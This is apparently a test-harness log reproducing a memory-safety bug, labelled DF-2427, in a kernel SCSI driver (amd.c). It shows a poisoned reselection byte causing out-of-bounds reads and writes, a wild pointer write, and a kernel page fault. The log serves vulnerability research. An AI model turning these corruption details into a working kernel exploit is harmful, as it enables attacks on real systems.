DFH: layout untagged_srbs[-1][4] @softc24  &amd->buffer_dmat
DFH: layout untagged_srbs[-1][5] @softc32  &amd->unit+last_phase
DFH: layout untagged_srbs[-1][6] @softc40  &amd->cur_target+cur_lun
DFH: layout untagged_srbs[-1][7] @softc48  &amd->active_srb
DFH: ==== DF-2427 scenario A: poison reselect byte 0x80 (= HostID_Bit), lun 0 ====
DFH:   pre-state softc-16..-1 softc-16 [a5a5a5a5a5a5a5a5 58fe7981ffffffff]
DFH:   pre-state tinfo[6]..[7] softc640 [0000000000000000 0000000000000000 0000000000000000]
DFH:   pre-state: disc_count[-1][0] (tinfo[6].goal) = 0x0000, active_srb=0
amd0: Unexpected reselection for target -1, Issuing Abort
DFH:   post-reselect: cur_target=-1 cur_lun=0 active_srb=0xffffffff8179fe58 (victim=0xffffffff8179fe58)
DFH:   >>> kernel exhibits VULNERABLE (cur_target == -1) behavior <<<
DFH:   PASS: amd.c:1831 ffs(0)-1 produced cur_target = -1
DFH:   PASS: identify byte decoded lun 0
DFH:   PASS: amd.c:1834 OOB READ untagged_srbs[-1][0] (softc-8) loaded wild active_srb
DFH:   PASS: amd.c:1845 OOB WRITE untagged_srbs[-1][0]=NULL zeroed softc-8..-1 (pre-ring smashed)
DFH:   PASS: rest of pre-ring untouched
DFH:   PASS: post ring untouched
DFH:   post softc-16..-1      softc-16 [a5a5a5a5a5a5a5a5 0000000000000000]
DFH:   post tinfo[6]..[7]     softc640 [0000000000000000 ffff000000000000 0000000000000000]
DFH:   PASS: amd.c:1844 OOB WRITE disc_count[-1][lun]-- decremented 16 bits of tinfo[6].goal (0x0000 -> 0xFFFF)
DFH:   chip after amd_Reselect       CMD=12 DESTID=ff INTSTAT=04 SYNCPERIOD=77 SYNCOFF=66 C1=aa C3=99 C4=88 DMAcmd=00 (FIFO=00)
DFH:   PASS: amd.c:1848 wrote cur_target(-1) as 0xFF to DESTID reg
DFH:   PASS: amd.c:1849-1850 loaded sync regs from tinfo[-1] (OOB bytes of untagged_srbs[7][7])
DFH:   PASS: amd.c:1851-1853 loaded C1/C3/C4 from tinfo[-1] (OOB bytes of untagged_srbs[7][6])
DFH:   follow-on MSG IN: victim SRBState before = 0xaaaa
DFH:   follow-on MSG IN: victim SRBState after  = 0x0080 (SRB_DISCONNECT=0x0080)
DFH:   PASS: amd.c:1218 wrote SRB_DISCONNECT through the wild active_srb into the victim object (2-byte write at an address taken from OOB heap memory)
DFH:   PASS: amd.c:1219 second OOB RMW disc_count[-1][0]++ back to 0x0000
DFH:   PASS: amd.c:1219 third OOB RMW disc_count[-1][0]++ -> 0x0001 (tinfo[6].goal attacker-steered)
DFH:   final tinfo[6]..[7]    softc640 [0000000000000000 0100000000000000 0000000000000000]
DFH: ==== DF-2427 scenario A2: poison byte 0x80, lun 6 (field-alias variant; deref=1) ====
amd0: Unexpected reselection for target -1, Issuing Abort
DFH:   post-reselect: cur_target=0 cur_lun=0 active_srb=0x6ffffffff
DFH:   >>> kernel exhibits VULNERABLE (wild active_srb) behavior <<<
DFH:   PASS: amd.c:1834 read untagged_srbs[-1][6] == packed (cur_target,cur_lun) -> non-canonical wild pointer
DFH:   PASS: amd.c:1845 OOB WRITE untagged_srbs[-1][6]=NULL zeroed cur_target and cur_lun
DFH:   PASS: amd.c:1844 OOB dec hit disc_count[-1][6] (tinfo[7].goal 0x0000 -> 0xFFFF)
DFH:   chip after amd_Reselect       CMD=12 DESTID=ff INTSTAT=04 SYNCPERIOD=00 SYNCOFF=00 C1=00 C3=00 C4=00 DMAcmd=00 (FIFO=00)
DFH:   follow-on: real MSG IN now dereferences the non-canonical active_srb -> kernel fault expected
Fatal user address access from kernel mode from sysctl at ffffffff80a7e1be


Fatal trap 12: page fault while in kernel mode
cpuid = 3; lapic id = 3
fault virtual address	= 0x70000016f
fault code		= supervisor write data, page not present
instruction pointer	= 0x8:0xffffffff80a7e1be
stack pointer	        = 0x10:0xfffff8011679c708
frame pointer	        = 0x10:0xfffff8011679c728
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 0, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 820
current thread          = pri 6 
kernel: type 12 trap, code=2

CPU3 stopping CPUs: 0x00000037
 stopped
Stopped at      amd_MsgInPhase0+0xae:   movw    %si,0x170(%rax)
db>